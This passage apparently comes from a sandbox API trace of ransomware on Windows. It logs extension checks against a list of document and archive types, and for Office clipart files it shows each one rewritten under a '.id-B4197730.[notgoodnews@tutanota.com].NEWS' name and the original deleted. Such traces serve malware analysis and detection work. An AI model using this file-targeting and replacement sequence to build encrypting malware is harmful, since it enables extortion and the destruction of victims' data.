lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString=".1cd") returned 4 [0088.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString=".jpg") returned 4 [0088.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString=".doc") returned 4 [0088.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString=".docx") returned 5 [0088.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.367] lstrlenW (lpString=".pdf") returned 4 [0088.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString=".xls") returned 4 [0088.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.368] lstrlenW (lpString=".xlsx") returned 5 [0088.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.368] lstrlenW (lpString=".ppt") returned 4 [0088.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.368] lstrlenW (lpString=".zip") returned 4 [0088.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.368] lstrlenW (lpString=".rar") returned 4 [0088.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.368] lstrlenW (lpString=".bz2") returned 4 [0088.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.368] lstrlenW (lpString=".7z") returned 3 [0088.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.368] lstrlenW (lpString=".dbf") returned 4 [0088.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.368] lstrlenW (lpString=".1cd") returned 4 [0088.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.368] lstrlenW (lpString=".jpg") returned 4 [0088.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.368] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.368] lstrlenW (lpString="HH00688_.WMF") returned 12 [0088.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.369] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7084) returned 1 [0088.369] CloseHandle (hObject=0x390) returned 1 [0088.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0088.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.369] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.369] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0088.369] GetLastError () returned 0x0 [0088.369] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0088.371] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0088.372] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.372] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.372] SetEndOfFile (hFile=0x35c) returned 1 [0088.372] CloseHandle (hObject=0x35c) returned 1 [0088.372] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.372] SetEndOfFile (hFile=0x390) returned 1 [0088.373] CloseHandle (hObject=0x390) returned 1 [0088.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0088.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".doc") returned 4 [0088.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString=".docx") returned 5 [0088.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.374] lstrlenW (lpString=".pdf") returned 4 [0088.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString=".xls") returned 4 [0088.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.374] lstrlenW (lpString=".xlsx") returned 5 [0088.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.374] lstrlenW (lpString=".ppt") returned 4 [0088.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".zip") returned 4 [0088.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.374] lstrlenW (lpString=".rar") returned 4 [0088.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString=".bz2") returned 4 [0088.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString=".7z") returned 3 [0088.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".dbf") returned 4 [0088.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".1cd") returned 4 [0088.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".jpg") returned 4 [0088.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.374] lstrlenW (lpString=".doc") returned 4 [0088.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.374] lstrlenW (lpString=".docx") returned 5 [0088.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.375] lstrlenW (lpString=".pdf") returned 4 [0088.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString=".xls") returned 4 [0088.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.375] lstrlenW (lpString=".xlsx") returned 5 [0088.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.375] lstrlenW (lpString=".ppt") returned 4 [0088.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.375] lstrlenW (lpString=".zip") returned 4 [0088.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.375] lstrlenW (lpString=".rar") returned 4 [0088.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString=".bz2") returned 4 [0088.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString=".7z") returned 3 [0088.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.375] lstrlenW (lpString=".dbf") returned 4 [0088.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.375] lstrlenW (lpString=".1cd") returned 4 [0088.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0088.375] lstrlenW (lpString=".jpg") returned 4 [0088.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.375] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.375] lstrlenW (lpString="HH00693_.WMF") returned 12 [0088.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.376] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7098) returned 1 [0088.376] CloseHandle (hObject=0x390) returned 1 [0088.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0088.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.376] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.376] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0088.376] GetLastError () returned 0x0 [0088.376] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0088.378] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0088.379] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.379] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.379] SetEndOfFile (hFile=0x35c) returned 1 [0088.379] CloseHandle (hObject=0x35c) returned 1 [0088.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.379] SetEndOfFile (hFile=0x390) returned 1 [0088.380] CloseHandle (hObject=0x390) returned 1 [0088.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0088.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.380] lstrlenW (lpString=".doc") returned 4 [0088.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString=".docx") returned 5 [0088.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.381] lstrlenW (lpString=".pdf") returned 4 [0088.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString=".xls") returned 4 [0088.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.381] lstrlenW (lpString=".xlsx") returned 5 [0088.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.381] lstrlenW (lpString=".ppt") returned 4 [0088.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString=".zip") returned 4 [0088.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.381] lstrlenW (lpString=".rar") returned 4 [0088.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString=".bz2") returned 4 [0088.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString=".7z") returned 3 [0088.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString=".dbf") returned 4 [0088.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString=".1cd") returned 4 [0088.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString=".jpg") returned 4 [0088.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.381] lstrlenW (lpString=".doc") returned 4 [0088.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.381] lstrlenW (lpString=".docx") returned 5 [0088.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.381] lstrlenW (lpString=".pdf") returned 4 [0088.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString=".xls") returned 4 [0088.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.382] lstrlenW (lpString=".xlsx") returned 5 [0088.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.382] lstrlenW (lpString=".ppt") returned 4 [0088.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.382] lstrlenW (lpString=".zip") returned 4 [0088.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.382] lstrlenW (lpString=".rar") returned 4 [0088.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString=".bz2") returned 4 [0088.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString=".7z") returned 3 [0088.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.382] lstrlenW (lpString=".dbf") returned 4 [0088.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.382] lstrlenW (lpString=".1cd") returned 4 [0088.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0088.382] lstrlenW (lpString=".jpg") returned 4 [0088.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.382] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.382] lstrlenW (lpString="HH01013_.WMF") returned 12 [0088.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.713] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2848) returned 1 [0088.713] CloseHandle (hObject=0x39c) returned 1 [0088.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0088.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.713] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.714] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.483] GetLastError () returned 0x0 [0089.483] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xb20, lpOverlapped=0x0) returned 1 [0089.484] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xb30, lpOverlapped=0x0) returned 1 [0089.485] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.485] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.485] SetEndOfFile (hFile=0x370) returned 1 [0089.485] CloseHandle (hObject=0x370) returned 1 [0089.485] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.485] SetEndOfFile (hFile=0x39c) returned 1 [0089.486] CloseHandle (hObject=0x39c) returned 1 [0089.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString=".doc") returned 4 [0089.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString=".docx") returned 5 [0089.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.487] lstrlenW (lpString=".pdf") returned 4 [0089.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString=".xls") returned 4 [0089.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.487] lstrlenW (lpString=".xlsx") returned 5 [0089.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.487] lstrlenW (lpString=".ppt") returned 4 [0089.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString=".zip") returned 4 [0089.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.487] lstrlenW (lpString=".rar") returned 4 [0089.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString=".bz2") returned 4 [0089.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString=".7z") returned 3 [0089.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString=".dbf") returned 4 [0089.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString=".1cd") returned 4 [0089.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW 